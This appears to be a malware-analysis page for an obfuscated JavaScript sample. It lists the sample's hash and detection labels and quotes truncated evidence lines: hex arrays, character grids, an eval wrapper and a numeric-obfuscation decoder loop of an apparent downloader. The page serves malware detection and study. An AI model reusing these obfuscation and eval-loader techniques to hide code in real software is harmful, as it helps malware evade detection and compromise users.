Suspicious 80% javascript-malware-collection Download

8fca374bed8b65aba5f9e5502dec38036aeb827170a96cbb249e8c43e55384e9.js

Obfuscated eval with XOR URL reconstruction

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-2568fca374bed8b65aba5f9e5502dec38036aeb827170a96cbb249e8c43e55384e9

Evidence

0x3f hex byte token line 1
1zaeHrwoF=[0x3,0x8,0xe,0x10,0x15,0x19,0x21,0x25,0x29,0x2e,0x32,0x38,0x3f,0x45,0x46,0x4e,0x50,0x59,0x5e,0x63,0x66,0x6a,0x6e,0x74,0x79,0x81,0x85,0x8b,0x8e,0x92,0x98,0x9b,0xa0,0xa5,0xac,0xb3,0xb8,0xbb,0x …
Builds characters with String.fromCharCode line 2
2:146… 'l','+','D','d',' ','F','(','Z','Y','@','W','F','?','t','/','k',String.fromCharCode(10),'q','Y','M','.','O','d','@','`','U','V','v',';','%','r','e','W','9','1',String.fromCharCode(13),' ',':','.','"','1','r','L' …
XOR URL reconstruction call line 2
2:1854… 'Z','Y','W','E','%','Z','N','<','E',';','Q','[','i','1','1','u',String.fromCharCode(92),'_','x','U','d',']','?','t','^','i','`','-','8','?','/','_','8','X','`','F','L','8','.','/','a',' ','5','A','z','F','3','h','b','9','c','l','/','p','d','m','O …
Dense indexed short-token grid lines 4–13
4:44… hQUoco){PlMa=gmJxJrRnUTsZlSesb(xsDdLQlYJmY,MsCPjsuinFvgb);fpwTe=PlMa.toString(fihQUoco);return fpwTe;}
5function WbWdYJGWRjIbksb(gYfGKHDmRVInAqAZy,bZzbdeNonlyBVrFwbIWgezKiaikTgWoTZK,lvgOSnoGrlphYIUXhRuRRcIyTMWErAqVUCs){eval(gYfGKHDmRVInAqAZy);}
6function gkiDCccqUPVQHUvXGCmpdRKnExNySxDExMiHYDyhYEDkljxkXWlbRm(wUzNdpxQnPDFz,xMXKqdQIqFkTPE){ return dBInjjR[zaeHrwoF[KSrRp(wUzNdpxQnPDFz[xMXKqdQIqFkTPE],(13068+764)/494,(-812+872)/6)]];}
7function ihJlmAz(EKxieOwpYUOEjrMkCaoEERApmpjEpKlWEsNs) {return !rzwdnmWZwgZ(oMHLmndogyTtuJR(EKxieOwpYUOEjrMkCaoEERApmpjEpKlWEsNs)) && trpCZmaFhXEi(EKxieOwpYUOEjrMkCaoEERApmpjEpKlWEsNs);}
8function rzwdnmWZwgZ(gvRJOePYTTXAtl) {return isNaN(gvRJOePYTTXAtl);}
9function trpCZmaFhXEi(rdHULjJHfMSAR) {return isFinite(rdHULjJHfMSAR);}
10function gmJxJrRnUTsZlSesb(uaSIJSobkT,pGGbCkcPoE) {return parseInt(uaSIJSobkT,pGGbCkcPoE);}
11function oMHLmndogyTtuJR(NDpwrNyfnbxUhCufUJZ) {return parseFloat(NDpwrNyfnbxUhCufUJZ);}
12function b(HJiGUEJSyqEVsd,pCuxmGgKQtKTV,apyDOqqbEpA) {HJiGUEJSyqEVsd[pCuxmGgKQtKTV]=apyDOqqbEpA;}
13var s = new Array();s[0]=[];s[0][0]='d';s[0][1]='a';s[0][2]='d';s[0][3]='a';s[0][4]='46';s[0][5]='3d';s[0][6]='42';s[0][7]='14';s[0][8]='2e';s[0][9]='14';s[0][10]='25';s[0][11]='14';s[0][12]='16';s[0][13]='47';s[0][14]='3k';s[0][15]='3d';s[0][16]='44';s[0][17]='3g';s[0][18]='3l';s[0][19]='3g';s[0][20]='49';s[0][21]='3 …
Numeric sine-square obfuscation expression lines 19–22
19:30… ],s[4],s[5]];
20var RJDBEZqJI=[];
21function mXYxymvbHCiAUTXJC(LnCds){AmGYgBljkmm= '';CLOasjyzqpQ=Math.round((Math.pow(Math.sin(979), 2) + Math.pow(Math.cos(979), 2) - 1));while(true){if (CLOasjyzqpQ >= (4734+414)/858){break;}RJDBEZqJI[CLOasjyzqpQ]=Math.round((Math.pow(Math.sin(262), 2) + Math.pow(Math.cos(262), 2) - 1)); while(true) { if(RJDBEZqJI[CLOasjyzqpQ] > LnCds[CLOasjyzqpQ].length-(263+312)/575) { break; } if (ihJlmAz(KSrRp(LnCds[CLOasjyzqpQ][RJDBEZqJI[CLOasjyzqpQ]],(7043+153)/257,(907+253)/116))) {AmGYgBljkmm += gkiDCccqUPVQHUvXGCmpdRKnExNySxDExMiHYDyhYEDkljxkXWlbRm([LnCds[CLOasjyzqpQ][RJDBEZqJI[CLOasjyzqpQ]]], Math.round((Math.pow(Math.sin(658), 2) + Math.pow(Math.cos(658), 2) - 1)));} RJDBEZqJI[CLOasjyzqpQ]++;}CLOasjyzqpQ++;} return AmGYgBljkmm}
22var UkLfdePoUdmRPbweQPxekEKyhnwWGlwYk = 'PgLCbqghKdVIpFUfHtCkesOPbYPpTqBrSXRw';var DiSdIumjrSecGyXExoascZvBzopdbegF = 'MHzuUWNgGVkZRdDzbxFMrXzrBXtsjPiwdjDq';WbWdYJGWRjIbksb(mXYxymvbHCiAUTXJC(LnCds),UkLfdePoUdmRPbweQPxekEKyhnwWGlwYk,DiSdIumjrSecGyXExoascZvBzopdbegF);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.